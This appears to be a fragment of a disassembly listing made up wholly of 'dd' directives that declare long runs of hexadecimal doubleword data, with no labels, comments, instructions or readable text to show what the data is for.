		dd 0E232EB8Ch, 0C9FB6113h, 1404417Dh, 40EA4D5Ah, 0A2761376h
		dd 0EE042FEBh, 8CBB8FF5h, 0D58D77Ah, 0E8BFA440h, 0B71DB65Fh
		dd 0E97876F4h, 3176B607h, 9DB00Ch, 2451D0B9h, 3902AC4h
		dd 2FBA1EF9h, 75AC80B5h, 0B4D25AA6h, 2EAE5F52h,	0A9680A8Ah
		dd 2CFA661h, 4044D54Ch,	1D76F207h, 8C497D40h, 251402E1h
		dd 70866912h, 41B0EBA0h, 0A02944A1h, 464A5E99h,	0D9035640h
		dd 0C9B85Ch, 29D31B3Ah,	621CE9E8h, 810142A4h, 1EE459F6h
		dd 47F968C7h, 654D486Ah, 0E77183Dh, 80728515h, 0C2582959h
		dd 15DC0444h, 25BB1C69h, 0A8E6EB5Ch, 0E9891988h, 0FEEFC0DDh
		dd 17F6A1C2h, 16C6F7D6h, 10D73730h, 0B97E2168h,	0CF48A586h
		dd 5F816478h, 82561D60h, 36BC8375h, 72651341h, 85C037F1h
		dd 1320F80Fh, 4512CF29h, 0D88AC6BFh, 0D7B1EC4Ch, 0EB574C6h
		dd 8101EF83h, 5C36AC61h, 6AAE4078h, 467C3817h, 2DC2C507h
		dd 0CD6067A6h, 383B2475h, 1FFE4560h, 0A42668EDh, 0AC4F1722h
		dd 79315DAAh, 0A6513D2Ah, 25C3283Ch, 47918B76h,	0C0E9417Bh
		dd 5AB68370h, 9D52D2F7h, 0B8F39F45h, 0C6BA7D40h, 0F00A4401h
		dd 0D0DEDFD1h, 0DF8C5025h, 15F44907h, 92D2C729h, 0F0807A76h
		dd 0BF02F28h, 2DBA9C56h, 5DBE29B0h, 3C64B7AFh, 24DCF3BCh
		dd 439F1C11h, 0E5525F93h, 0CB4EB2EEh, 0E7C90450h, 0FDCBD8h
		dd 0BF45A875h, 0DC3C8D2Bh, 0E9DF010Bh, 5A17A5Ch, 8EDAB1F3h
		dd 17F813F6h, 2FFBF8C4h, 0D982DF4Fh, 2B7B52E5h,	0C4CB74A7h
		dd 0A8ECEBFDh, 51FAF4E4h, 59F5B904h, 0BF8142FEh, 0F5204105h
		dd 3C4B135Ch, 0CA010129h, 78BF28A5h, 0E5C0D25Ah, 0E5E150E2h
		dd 50AF13Bh, 4660AA07h,	0E9BCCC6h, 232DB620h, 295B8981h
		dd 8AAA0F0h, 1D4A6DB0h,	68C1C5B8h, 70820AA0h, 0D69C92C0h
		dd 522091A0h, 0DEBF0F9Ch
		dd 9095C0Ah, 713D075h, 0A539F49Fh, 5B42D9E9h, 0EE39C0F0h
		dd 3E68104h, 510DF680h,	1D4EAF2Ah, 0AC6EDF55h, 0C6201AA8h
		dd 785B526Bh, 6A20A158h, 0C5095A28h, 68259A95h,	95878CEEh
		dd 9FE61CDDh, 0DFC9D75Eh, 2F0B0CC5h, 109B9B37h,	50302198h
		dd 5CC74B65h, 0CE0401B1h, 7EEE76B0h, 0A28F5A70h, 4BAF90C8h
		dd 1171A5E5h, 0C0EE8260h, 66EABE44h, 0EEC979C4h, 0C371FE76h
		dd 75228493h, 8AAE957Eh, 2F2FA117h, 0E91248CFh,	548E077h
		dd 3E5D3009h, 2DC6857Bh, 8798071Eh, 0C0472A67h,	807FC1B5h
		dd 5E95FB9Ch, 5C500C7h,	0E906A028h, 1CDF59h, 5888B85Bh
		dd 9E400804h, 6680482h,	0D4C8B96Fh, 5A8C1092h, 0A7685001h
		dd 0EC190C3Ah, 17C0884Bh, 0EA8022B4h, 0E2283A6Eh, 58B8C2BAh
		dd 683B2C5Bh, 0D4464A2Eh, 49788F69h, 94D5BDAh, 8A5E7CADh
		dd 182FDE8Ah, 0A4E42ABFh, 0C10B3690h, 4750401h,	39EB3D0Dh
		dd 5A7A2D71h, 5EB0EBA8h, 2E53D8E9h, 0FFF3891Dh,	0E916AF9Eh
		dd 3644BFC3h, 0E6E367E8h, 4F091A05h, 0D912C157h, 6844C066h
		dd 1852F72Dh, 206BF3C8h, 0EB049B4Fh, 1F871813h,	0E0BEC1AEh
		dd 0D6F7010Eh, 30D29C30h, 0CE52F370h, 792D40CDh, 90A51438h
		dd 875340ABh, 0E381F301h, 2AA86AB2h, 119D8A82h,	25FF1250h
		dd 6C94636Bh, 783C2BEh,	3FDD51F5h, 0A593A1AEh, 40017374h
		dd 55FA3805h, 9FBCD634h, 0C4AD25E5h, 8C212CDAh,	5EF0899Ah
		dd 3CED5311h, 204C6Ch, 530F12AFh, 69350D48h, 27F43819h
		dd 0E446813Bh, 3E9A0E0h, 0DF416435h, 0D8645EA6h, 0FE70EBF1h
		dd 8950655Ah, 3CFEF36Ch, 761813A3h, 0CAEA7705h,	29A472FAh
		dd 0C2985957h, 0A0A5C357h, 52BE1EF2h, 897E5FCFh, 0F15F499Eh
		dd 4003926Ch, 17B3BE65h, 215A4179h, 1DD6A0B4h, 9213CC43h
		dd 6AC4EFEAh, 41DE1F0h,	83E90EDFh, 0B18B90Ah, 0D545846Dh
		dd 2E8033E5h, 51BA7B93h, 0EB82468h, 2F7A6BD1h, 6F53E913h
		dd 7906B921h, 0DE07A8B8h, 0A59DC680h, 0B8A45297h, 0AC8F134Bh
		dd 98F3AD37h, 2CE522D1h, 6AB13AA0h, 0D42EB02Dh,	8008A033h
		dd 1573ADFh, 372D025Ch,	70E3D4EDh, 7217CF70h, 6201060Fh
		dd 9CF60417h, 0D084A80h, 75E96BE1h, 27A5E4BFh, 0F05148E8h
		dd 0DA80DCA5h, 0A40167DDh, 0AECE16ABh, 0EC749DCh, 1315CBEh
		dd 20C4AE3Dh, 0EB584A08h, 0CC65EE76h, 304C5D92h, 1F09CC59h
		dd 2F121CEBh, 0E82E97B1h, 0B54F3CEh, 4B82E9C7h,	4A619675h
		dd 0C3DE84FAh, 0E8F101Dh, 3C78AA13h, 0BE392EE9h, 0C9E39D4Eh
		dd 0D4C8A7DBh, 533D798Dh, 0B6A59328h, 6D23D9BAh, 45538E4h
		dd 5C0159D2h, 0C00D499h, 0C9A5BEE9h, 0B3FAC6DBh, 0A3B83F90h
		dd 0BDEE82B0h, 0F1572860h, 4E8D7CFBh, 7836B109h, 0A85FA4BDh
		dd 0A09D817h, 0BF85D8E5h, 183F7365h, 0BA649B47h, 0AB30D705h
		dd 0C3F6D01h, 80706913h, 60787B44h, 25409C0Dh, 0D09D24B4h
		dd 2D5391CEh, 0FA09AFFEh, 56AC9916h, 0DF1DE56Ch, 0A23533Eh
		dd 2707EFAFh, 0D1A04970h, 4116F0C3h, 0C810359Eh, 520840EDh
		dd 0C1885113h, 0F27712BEh, 0C9F1CFBFh, 0CA7C760Bh, 167FA500h
		dd 83193F6h, 660D477Bh,	65E46A5Ah, 27C49A67h, 7E6DE21h
		dd 16DCCEB5h, 0E287B7E9h, 722304CBh, 90BA0151h,	0C928F4C4h
		dd 7DC7334Eh, 3360EB36h, 58735B30h, 75D1DA3Dh, 3E39A74Fh
		dd 9F7BF7F8h, 0C5A7FF18h, 125BEE88h, 0AF317673h, 2E135960h
		dd 0C67C5011h, 4F8825Bh, 0B2960BF0h, 89EE2902h,	50707EF5h
		dd 65BDDDF7h, 0F8B98268h, 0AFDF973h, 841943FBh,	79DCCA21h
		dd 5106B69Ah, 28003F91h, 4F61BCB9h, 20D59D66h, 327B0944h
		dd 4ECAF003h, 91A2F457h, 2B1BD49h, 0F58158C5h, 8C98DE43h
		dd 0EBCD66B3h, 0FFA92AC9h, 0BF2AD6EEh, 0C2805B5Bh, 0A13C6CDAh
		dd 60FEA749h, 5C27E33Ch, 0D7050C43h, 0EA0E9FF8h, 19F317B0h
		dd 58C1C9E9h, 1194D854h, 148B6C9Eh, 6C0F221Ch, 3EB4DF66h
		dd 50975EB5h, 0E6BD6352h, 68C52890h, 20C91EFh, 633E6047h
		dd 79D40880h, 29453B8Bh, 1E0C38A1h, 9E926EE9h, 213502B9h
		dd 29FD0537h, 0EE480053h, 980E8A1Ch, 26FA0266h,	0C7E92ABEh
		dd 0B655DAD7h, 50143DC2h, 4C137273h, 0AA0253AAh, 5FF5FBD1h
		dd 2C7BD8Ah, 345C406Ch,	0EAA0088Eh, 2C927865h, 5223F697h
		dd 0E2E9B001h, 28983EF1h, 1D519532h, 59D2CE47h,	0E076E8E2h
		dd 9F350003h, 5043A12h,	775EF8DEh, 0F8313BAh, 26240CE6h
		dd 0BCB8C0CAh, 6E5F2839h, 0C9F246C2h, 65655EBCh, 7AE6066Eh
		dd 0BA09EEA3h, 825C853Ch, 0FC5AD6ABh, 68530B1Dh, 988EE675h
		dd 8E1326D0h, 9486C9Ch,	71B82B72h, 271CEF01h, 0F7293E8Ah
		dd 8189344h, 5F89E978h,	3649AA45h, 27707C3Dh, 277B955Fh
		dd 421E16DDh, 69E9172Ch, 0EE7090F9h, 0EB885FF9h, 0B4EAEB35h
		dd 60EEE17Ch, 295B73B2h, 0CE5521E1h, 9846E0FBh,	6530EDF0h
		dd 0ECD5E040h, 0E9FE0B18h, 945F1FF0h, 0D70CDCE1h, 831CABC6h
		dd 4FEE3B4h, 0BE93BC12h, 0FB4A63CBh, 0FDBAB740h, 4E75ED28h
		dd 0F6E12552h, 6EE982F6h, 52B90073h, 7C4C3809h,	4E790522h
		dd 0CBC051A9h, 168B2368h, 0CF31DFh, 0DEA6C713h,	5001EEDh
		dd 3D7F7724h, 2F39DA2Dh, 0E0D808CEh, 7E50783h, 0D9015F11h
		dd 83402605h, 0D8C2387Eh, 0E67C26E4h, 0E3BF5195h, 0D371920h
		dd 0CCA2C3F3h, 0F5680160h, 8829895Bh, 8311D798h, 6E07E595h
		dd 5EFDDA16h, 2ED3C680h, 564E6B76h, 16831BEh, 8ADD7AE6h
		dd 26DA240h, 412C1A61h,	387556C1h, 26965367h, 299030Ch
		dd 0B9D0E87h, 8A4285Fh,	0B71EE906h, 635B5032h, 9791B27Ch
		dd 0E44EF5C1h, 0B1B5771Ah, 6D80B463h, 2D42F381h, 535E2652h
		dd 81BBBB34h, 0F14E569Dh, 0BBB43A5Eh, 30347CE6h, 0D4F25591h
		dd 0EA607EBFh, 0D7330FA2h, 0F301204Ch, 8AE90880h, 79C3C2B7h
		dd 437C4945h, 4B810634h, 16F05EAh, 3513037h, 0F8C2E631h
		dd 0F4ED4EFFh, 0B4494F9Bh, 0CD4A72EDh, 3AC158A2h, 425CD56Ah
		dd 0CF843008h, 0A0AC8466h, 203DBD69h, 0D15E8774h, 0AAD457EDh
		dd 407AAAF1h, 237F9FFEh, 45000571h, 2D3AF453h, 4C020DC3h
		dd 0A37C401Eh, 110EE507h, 214EC15Eh, 0C03A2F85h, 7749528Bh
		dd 5D44B48h, 8C961897h,	5AB9310h, 6280E9D8h, 587D74CAh
		dd 68B0EBC2h, 4C926EE2h, 0F4A5FA20h, 1213525Ch,	0B7825D39h
		dd 0CD45E974h, 0BD8718F7h, 0A5462815h, 32CFA8Bh, 0E938C937h
		dd 280389B0h, 0EB8047B3h, 0DDE5D701h, 1697D888h, 0EAAC9E3Dh
		dd 0AD22D645h, 0D743A2AEh, 0E41793AAh, 0AFCB9A72h, 40802F5Ah
		dd 6FF5D2Ah, 41A09F59h,	49677563h, 533508A0h, 0EEB72F7Eh
		dd 80C8244h, 0C0271AA4h, 4F5E0C5Bh, 0C564AE59h,	0C8AE3513h
		dd 644A1B9Ah, 0A7DFA1A8h, 84565E7Ch, 0AF4DBD6Eh, 0BF76804h
		dd 410739EEh, 7BA8A065h, 9317B0EDh, 24C8EF82h, 2842400Fh
		dd 2DEEF858h, 0D7E162F7h, 0F3AC08C7h, 890BD4A7h, 0B077F029h
		dd 4BE95668h, 5AF800Dh,	3C2C36B1h, 3D02A413h, 5F318765h
		dd 0B4299AAh, 845C4C9Dh, 1FA66841h, 2225F569h, 0EA40A2F1h
		dd 1BBC4F5Ah, 46D129E9h, 0C5376FAFh, 0F360FF54h, 62456857h
		dd 193F5116h, 28596600h, 82DD3F3h, 0B80169DAh, 2D1C4EE8h
		dd 3353AC4h, 924806D8h,	809CDAF7h, 0CA5F02A9h, 4D2B20F7h
		dd 0CB82E0DEh, 602E132Dh, 2508EA3Dh, 3502713Eh,	0BF40635Dh
		dd 0DA97D3F7h, 0F4F304CFh, 0AF065E3Bh, 172A8886h, 12AA2113h
		dd 86050E2h, 3FD95E25h
		dd 271CC46Bh, 0E66CE828h, 2166852Fh, 3E2B2E9Ah,	75CB1E70h
		dd 53D030AAh, 8624E76Eh, 27702C4Ch, 62785C64h, 59DFA5D1h
		dd 3A1109A7h, 0BA829877h, 2DF84B88h, 2FB12E94h,	0AF060693h
		dd 8885D1B2h, 0E9FD85C2h, 54511725h, 0CCCDBBBh,	2EAC18E9h
		dd 0EE293C59h, 27862C18h, 251E15E1h, 3CD74764h,	0FA2FFAE1h
		dd 5D532B62h, 0D362D79Ch, 0DC41D2EDh, 0B25261F4h, 0BF876EFDh
		dd 80FBA155h, 2C6A04DEh, 0B91DBF74h, 4FBAD028h,	0E9F0CBF8h
		dd 5C99D2EBh, 0CE134403h, 5E8FD9D4h, 9369B34Dh,	13B6C911h
		dd 2BB25559h, 6ABB6880h, 0E9132A51h, 0BAB4DC74h, 49CFF0ADh
		dd 0D117EE6Ch, 0D5A54589h, 35D8AB27h, 605E0F2Dh, 19F27EACh
		dd 0D85D145Fh, 719F2AD9h, 125FC93Ah, 3D875BBh, 0C646489Fh
		dd 0D922123Dh, 0B1B1EE0Dh, 950F4CCh, 8EE9648Fh,	0FD2D1AFCh
		dd 45F8AC32h, 0C05E8817h, 3E25706h, 44AEC06h, 6F1CA81h
		dd 0FF80FF3Ch, 4B6605F2h, 0DD92FF1Ah, 7160D55Bh, 5F82474Dh
		dd 475BFE89h, 3A890069h, 0D211262Ah, 78D7012Eh,	7B7D7A23h
		dd 79219BC0h, 1DD0CE15h, 18738326h, 0F81A5409h,	0DD518756h
		dd 42892787h, 7B08D5F5h, 0D7D813A0h, 0F83BBABh,	6007525Dh
		dd 54DE346Fh, 41CF10A9h, 0BD5C92B1h, 7AC4A141h,	55D0E244h
		dd 0F7C9F2ECh, 0D59DAF50h, 0B4093F95h, 0A31CFF42h, 8FFA874Eh
		dd 1BD2633Ch, 61808D40h, 0C4019368h, 1A90251h, 0D7F7FA87h
		dd 0D29408A7h, 4E6E2CEh, 63EC1CEFh, 3B44DA10h, 0BFF0195Ah
		dd 0B83AC2C1h, 0C7C55E0Ah, 8D987585h, 6442B055h, 0C2D8B736h
		dd 0BE10DECCh, 1F05805Dh, 3F3D77FEh, 42ECA550h,	0AFDEC55Ch
		dd 0F72724F8h, 8112AED1h, 6F7B213Eh, 809B30E0h,	0AC78F780h
		dd 0BCC7544Eh, 66D8A36Fh, 0C5689053h, 1B23BD3Ch, 0B8A12BB0h
		dd 5DB3F852h, 3EBC01Ah,	93845707h, 66D6C088h, 647AB450h
		dd 303FEC01h, 38C8E9E6h, 2A03B932h, 532EC640h, 8E99D6E1h
		dd 5A62D76h, 10AF28FEh,	0C95C072Ah, 47262DC3h, 0EDE25392h
		dd 6B136661h, 2DF92A39h, 0EAFE176Eh, 0C35D78CAh, 145A657Eh
		dd 0A7B40055h, 5F491262h, 0EBEFD126h, 29C2062Fh, 0E27F200Eh
		dd 9500589Dh, 9AA407F4h, 872DB2A0h, 45C1510Ch, 75E75608h
		dd 0CC2CEF4Dh, 1396BC61h, 0AB40D4B8h, 695ED4E0h, 0E485457Fh
		dd 0C6DAA031h, 7126087Dh, 7406A493h, 272E0D36h,	3E744DF2h
		dd 0BF683974h, 0F2FDE8DBh, 1362FE31h, 264BE21h,	107B87A1h
		dd 12967912h, 2D32BF53h, 0F4795F5Bh, 2955923Fh,	628315D5h
		dd 0A38CC42Eh, 0D5F250h, 5801AB16h, 1762CE0Dh, 5A147C4Fh
		dd 9D421017h, 3EA50C62h, 8D236B80h, 98E48Ch, 0D8BFD5B8h
		dd 0D0F73487h, 34A8AB04h, 0CB360D01h, 0F8112D23h, 290916C6h
		dd 0A977E9C5h, 5C60D831h, 0E1CD2255h, 3F5C40A3h, 0D20BCCAEh
		dd 19659868h, 0E62E5A42h, 6FEB0119h, 507D5B7Ch,	2D99BD3Ah
		dd 75C3A058h, 9C43D571h, 0E95150CBh, 0C61B134h,	0BFD21FE9h
		dd 601F7F8Ch, 9FBF1C58h, 2D0D5E0Fh, 608EFC1h, 45EA03Bh
		dd 48806816h, 0EA1836E3h, 5AB374Fh, 52457E1Eh, 0A0733BC9h
		dd 3D5DE350h, 8770E57Fh, 0C10B13ADh, 0E68F0177h, 38280134h
		dd 0F64A2E02h, 0E400B224h, 81653D7Ch, 3B62E4C5h, 0F5022832h
		dd 1CF844A9h, 251F11D0h, 0E600459Bh, 743F381Eh,	9DB562E9h
		dd 0F9F87D68h, 0E243D69Dh, 0A2845158h, 7F08E199h, 2FE03B60h
		dd 81680109h, 0EF4BC3C9h, 550C8531h, 0AFF87F16h, 12800D1Ch
		dd 0F117EB84h, 5D93CEAFh, 33F505D6h, 3A8231E6h,	650E0950h
		dd 2125F1D7h, 82BB1403h, 0ACD84701h, 5C5DFE82h,	1574D015h
		dd 31ACA3B7h, 0B6BB841Ch, 0E3D084CEh, 3BD72E18h, 5C5639Eh
		dd 97E238D7h, 398AFAC8h, 70306B26h, 0D22A7F56h,	46E64F50h
		dd 41BE2118h, 314ABF0Ch, 94245471h, 3176C82Bh, 5B10DF58h
		dd 0CF00F0FCh, 0E986F1BEh, 0CDA8196Fh, 4EEC72AEh, 20BA16BFh
		dd 6812931Eh, 3332212Dh, 0B0F456BAh, 0DD535DDAh, 58E9230Ch
		dd 7F6F18Ch, 3B570C6Ah,	487F1B4Eh, 2770DADBh, 0BD0AF464h
		dd 0A7C20B86h, 807B82CEh, 0F22E8D73h, 0A900F5A1h, 5266D328h
		dd 4270EDB2h, 0FC3FE110h, 89BAE426h, 0CCF43046h, 440A2612h
		dd 0F8E31600h, 0C07DBD36h, 33115AB8h, 732DE94Bh, 0C1A21C53h
		dd 0D5E908BAh, 21EE2B6Ah, 0A53DBA98h, 4A92D110h, 8DBB0B66h
		dd 90594EDDh, 0AC1A4E14h, 0B9AAA4CEh, 6A8946Ch,	40267AACh
		dd 2169FD80h, 0E465110h, 0C42BC005h, 54AB2D79h,	0A70513E9h
		dd 823AC809h, 7FF93435h, 0A431E08Bh, 0E5AA5E83h, 0B6F03F12h
		dd 82C300C1h, 662FB850h, 3E900E19h, 3C685F40h, 3617703Fh
		dd 84A8905Ah, 104F1247h, 0C05F674h, 73F032E9h, 22AD09BDh
		dd 107D333Eh, 0CCD814Ah, 2C7339A6h, 1C1FB90Ch, 0ED01180Bh
		dd 7E7FFFBBh, 0E9F7F07Ah, 6686E527h, 578C20AFh,	4DBF737h
		dd 16FF6994h, 2F2AA7C3h, 569B0B35h, 2D9C2C42h, 27D31ED7h
		dd 9F6121E9h, 0EF80D8B7h, 6180565Fh, 9566F068h,	0FEF64966h
		dd 0C5BECA4Ah, 0E9A180CDh, 0A1B5CF4Bh, 903D29F3h, 954757CEh
		dd 4E38CC1Ch, 43CDD8FBh, 6F40DB6Fh, 0D831A5ADh,	0A4BBCCC0h
		dd 5B20F50Fh, 0D5615CA3h, 0A22EA117h, 3BDA2C79h, 20D458AFh
		dd 0E02034FFh, 77F49F4Ah, 64630C42h, 72330AA9h,	1F82396h
		dd 1DEC18F8h, 0E4F76009h, 91D06B4Ah, 4C500429h,	6F171B4Dh
		dd 4FA0124Ah, 7AC17321h, 2F49CAE9h, 4BB48497h, 4F0543B3h
		dd 6653F3Bh, 0F5188E8Fh, 56B900B7h, 3A28CD2Ch, 0B77A04D8h
		dd 0AD96EE64h, 7E165F1Fh, 26F75908h, 789C004Dh,	0F28151A1h
		dd 8812F90Bh, 0A013555Bh, 7F4540A8h, 4C75C2FEh,	12E7B15Ch
		dd 0B2EBD97Bh, 39221AB2h, 5EC2DD51h, 41A5EAFDh,	342550FAh
		dd 154A06Ah, 123AEE40h,	4111469h, 0DF34545h, 4E06642h
		dd 1BD1F05h, 999A89D7h,	0E0044446h, 4255C161h, 58288FEh
		dd 27FE44C8h, 92E38458h, 5A8801DAh, 0E1C1045Ah,	0AA14E906h
		dd 77BF2417h, 0E8ABD569h, 68ED45CAh, 2FEDB14Eh,	6E21B411h
		dd 0FD5EFDCAh, 84F2C9F6h, 0CFEA696Fh, 4E6E48AEh, 9EFCBAFh
		dd 5DC9A7E9h, 5667B3D9h, 0ABCD4AFEh, 5FDC62A5h,	4698374h
		dd 0C68B86BBh, 0D29A55Fh, 0DC8A2017h, 56837F24h, 10A8E614h
		dd 7058BDACh, 0BE793930h, 0BC3DD675h, 1662735h,	23EB8055h
		dd 0E1AF2460h, 901075CFh, 0CA2A5E4Dh, 0DFBC4F8Ah, 2881E9E1h
		dd 0FF832820h, 60A83BF1h, 0CAEE8C5Bh, 3168C840h, 815352Ch
		dd 8AC104AAh, 0D2F9EDFCh, 2D7EF068h, 0D4F146A6h, 0BE8C1C0h
		dd 39712FE9h, 206B147Bh, 68E1F76Eh, 0BD4A70C3h,	0A70DC3D3h
		dd 7EF89337h, 5B341FF9h, 82F21243h, 0BFE85A41h,	80825929h
		dd 0F69CB7D2h, 8004C1D7h, 0CEFE9EC7h, 300EBFC8h, 855E7A90h
		dd 7D7EABE1h, 0EBEEE856h, 64F08C16h, 0E25B30FBh, 15482970h
		dd 6EB18E4h, 97523894h,	0B24B947Dh, 8BE913BEh, 0E43957B9h
		dd 8BB7E316h, 1567559Ch, 888FD649h, 0D52584DFh,	100892E5h
		dd 0B64B3E91h, 4FB8157Dh, 0DC2DC1FAh, 91702B26h, 214C160Eh
		dd 0BB00816h, 87C0FBBh,	6859431h, 552966D5h, 4C3FB00Ch
		dd 0CE26A77Ah, 12082037h, 0C9221AE9h, 8AF06B99h, 0CC965EECh
		dd 41599988h, 8EBF4E1Ah, 92827BAh, 7F04D567h, 22D0D865h
		dd 77EA0117h, 0A05E16B8h, 0D66EF72Bh, 291A11EEh, 228920F1h
		dd 4254C261h, 0FE573EFCh, 0EDEAC594h, 0B2712602h, 0B2BA8892h
		dd 0E7EC924Ch, 80AC0664h
		dd 0C7E979C2h, 0AE5A1F40h, 0E72B20C1h, 6F429195h, 23376F8h
		dd 23F3CE81h, 0AA4040E1h, 32270293h, 67AA4042h,	98C57231h
		dd 28B6B3F8h, 3E23492Fh, 562A604h, 81024411h, 18210AC1h
		dd 0A51F44BBh, 89F400F7h, 5CE8E9DAh, 0B7BB8AD3h, 2257301h
		dd 0EA08D768h, 0BCD7A5CDh, 58E925D6h, 0CB44F90Bh, 3C69F7F4h
		dd 5483FD24h, 66F7C583h, 0BB5F1CE5h, 0E6FE2CC5h, 0B98710D8h
		dd 35B53075h, 0F7015A0Ah, 499FC2FAh, 1BADA812h,	5EFC855Ah
		dd 0BD0B729Dh, 0CDFD4C09h, 41AB2B64h, 893B88E9h, 0F7875922h
		dd 5025B3CEh, 779F6A9Dh, 83F6D9D8h, 5B5159C3h, 0B1FE8D59h
		dd 3908AC60h, 0E8F20202h, 0A6E380C2h, 91435E68h, 0BD08208Eh
		dd 0E970D5D4h, 0F2DB6E5h, 0C5A0FD87h, 68610894h, 0E1EA10BFh
		dd 79283073h, 1B30FC0Ch, 87A62B4Bh, 7194FB4Ah, 853E0BEh
		dd 0B37355Fh, 3B60110Dh, 0B6D50427h, 0BCD1299Eh, 57C8B2DEh
		dd 0B1EB7576h, 2965CB07h, 0DE81A73Bh, 3DBACB3Fh, 0C97D6842h
		dd 8114FD5Ch, 942BCA2Fh, 594E2529h, 9DC66098h, 0F4B84812h
		dd 0E9AEA4BEh, 0F1513C30h, 0E96C98EBh, 167C56ADh, 8AFE3669h
		dd 0B03A849Ah, 0DA3FD2A1h, 678A4BDFh, 947A85Fh,	0F0392BCEh
		dd 7EF21874h, 0BCEB6A5Bh, 1894AA32h, 0BAF87FEAh, 68A90CC1h
		dd 940071B0h, 1524516Eh, 0D90CE301h, 0CF5A93Dh,	2C2A616Ah
		dd 730242B4h, 51E94C8Ch, 8392DC23h, 5B4912A6h, 253CDDD9h
		dd 9BD480FFh, 4F6E3521h, 0F04E4A41h, 839D4AC7h,	90D33053h
		dd 5CC280DAh, 17263F4Fh, 0A247429Bh, 0ABF3E10Bh, 21178E7Ch
		dd 0E638ABD3h, 8CD84EABh, 71BD554Ah, 6CBFD87Dh,	63E16704h
		dd 268BDFF7h, 4297B800h, 0D0F71A62h, 0C19657B0h, 0CABB5E12h
		dd 7BB818F6h, 0EEDEF61Eh, 0AF485F65h, 7E3AB521h, 3CA8105h
		dd 5F51CC81h, 2A781F3Fh, 0DF9DA95Ch, 0E9197D9Eh, 0E89B6D3Dh
		dd 0EC2DE371h, 0D308EF92h, 0DBF709EAh, 6E40CED6h, 0A9FC20A0h
		dd 842EDAA9h, 0A469AEBFh, 7613D539h, 4DEFD11Ch,	6AD6A91h
		dd 7DCD0186h, 0A40E912h, 844F27BFh, 2802F112h, 0AEF33D5Eh
		dd 1EB18B39h, 5D241B60h, 30C87830h, 0D2B95668h,	6709F281h
		dd 5F640153h, 0F495CE5Ah, 9A03FBA3h, 46601E2Ch,	57545EE9h
		dd 4B4BED7Ch, 0C4A59544h, 0A2BA5206h, 81256D00h, 334D68E2h
		dd 0E94A3F5Bh, 0F637D0CFh, 925415Dh, 22450E34h,	4C0CB368h
		dd 8C6CBF12h, 0F5271F94h, 1184DC34h, 6A9DC1E6h,	0FF58F5C6h
		dd 69B85E60h, 0A0362944h, 81CC49EDh, 83F02E5Ah,	0ACB66FEh
		dd 25C0606h, 0C1D010FAh, 32422E75h, 4C85A068h, 0EFD7CCC7h
		dd 74C2BB22h, 0CFE2DBAh, 0AAD745Bh, 5D986853h, 0FEE98A76h
		dd 0B85081EDh, 42D261D4h, 1EF83298h, 2A6F680Bh,	0C15D06BDh
		dd 14290A0h, 1A1049F4h,	8D8E9FE9h, 0A31F0A5h, 5D422C3Bh
		dd 50FD50BFh, 0BAC35AAh, 2133D523h, 1C26395Dh, 262648EFh
		dd 0A15AC038h, 640D7B0h, 4C4B739Dh, 623CEAB4h, 15AEA767h
		dd 0DD49E359h, 4EBE31DBh, 0C035D70Fh, 2D6DB921h, 0FC2E1633h
		dd 2414FE68h, 28F40411h, 0EA820B6Eh, 609EC0EAh,	9F33E868h
		dd 0EE28E397h, 0CF27774Ah, 495D6982h, 92306852h, 2C484F98h
		dd 429DAA93h, 0E8E55FCBh, 7DC98C89h, 6806BC65h,	2F4121FBh
		dd 25333157h, 285085D2h, 0F5BC5B4Ah, 52830993h,	97E73055h
		dd 3ED71388h, 8386FD31h, 2D662368h, 0D570304Dh,	0F03E5EBFh
		dd 0BB908058h, 8F4911E4h, 30DF1011h, 8CF9291Fh,	0BA0E4F92h
		dd 0E401E70Fh, 9FB1440Bh, 148F5A2h, 842D1300h, 71386801h
		dd 50BF5C91h, 909AC1E7h, 0F605DEB0h, 0D542825h,	0CE20F0ABh
		dd 0EED15916h, 0A72D5EFCh, 0DDD53955h, 6F3C17F5h, 0D43DB64Eh
		dd 4EB259BAh, 0C9FFEE9h, 0E63FE870h, 0CED5CC1h,	27601E4Eh
		dd 0A84C1761h, 2002AB78h, 0C84B217Ah, 12A0EF4Bh, 0AA660874h
		dd 0ACFAEB74h, 64521CD8h, 0CDE57D27h, 88867927h, 622CB86Ah
		dd 4B4C6803h, 7098DA1Bh, 1F74BFADh, 7F47775Ah, 0F411FA0Bh
		dd 8A9762EEh, 77ED9A77h, 908C276h, 2FF35045h, 69EA87C0h
		dd 0B86DD179h, 47FC2F7Eh, 9FED1457h, 0DF0C9Ah, 83ED81FCh
		dd 10513C0Ah, 385CE9ADh, 1FE92CDCh, 89AC9D05h, 0B3712377h
		dd 5D64D28Bh, 2282A1BAh, 34551246h, 0A4682755h,	0E8A067A5h
		dd 0D8FB4B54h, 8D4E6FB5h, 98D5EAFh, 0D7A9A137h,	7E484980h
		dd 0BDFD23EEh, 5F3257FCh, 0C040DCA0h, 35B5BE0Ch, 0E4F42C52h
		dd 5D25D29Eh, 504A4E38h, 51756800h, 0E9584B84h,	0F875D65Bh
		dd 0C2F94292h, 516DD468h, 0B8F5E9AAh, 0B20CE902h, 2D56BFE1h
		dd 2F685978h, 175923DDh, 3765556Bh, 5887D1ADh, 49545B68h
		dd 55B204B8h, 0FC97B026h, 0A4AFAF12h, 0F3B55E76h, 0FF2518h
		dd 1639BA1Dh, 0DF0A5CA9h, 889D7258h, 0F6AD6D81h, 0FD5E25CCh
		dd 72E1D844h, 0C46CB26Bh, 99EE6EF1h, 0FDDACAB2h, 7D28849Ah
		dd 0DA0193EFh, 0E9D1295Bh, 0EF812523h, 1E05DBF3h, 112C846Ch
		dd 1EFC044Dh, 7D31167Eh, 2A6D8641h, 0AC83510Bh,	169B543Fh
		dd 9975044Fh, 5A920379h, 1A28D825h, 9D350713h, 5032B351h
		dd 6D6124E5h, 0F0B6694h, 56C3AB76h, 0A15812FAh,	50A8D3B6h
		dd 284E0BB0h, 9CCDEEB1h, 0D275076Dh, 11BF0410h,	3680270h
		dd 0B8A7D343h, 73902E20h, 3B0E843Dh, 925F3E15h,	0A6AF7239h
		dd 1A845FFDh, 0E15EBCEBh, 32AF2DDAh, 0DF8CA956h, 9D641083h
		dd 3C0DC961h, 742D27E0h, 0FDCEBAF1h, 0D80978EFh, 0C6AB05E9h
		dd 0D33F204Fh, 0F7814F1Ah, 7DEF89D0h, 2BA6228h,	60558A2h
		dd 40B2625Fh, 2F141967h, 18E2A9E9h, 45AF38DBh, 99F2C79h
		dd 7930774Bh, 7255CE3h,	4BDEF961h, 3BFDF903h, 83BF4798h
		dd 4B154E24h, 145D990Bh, 23AA80A1h, 6F133E38h, 0A90E302h
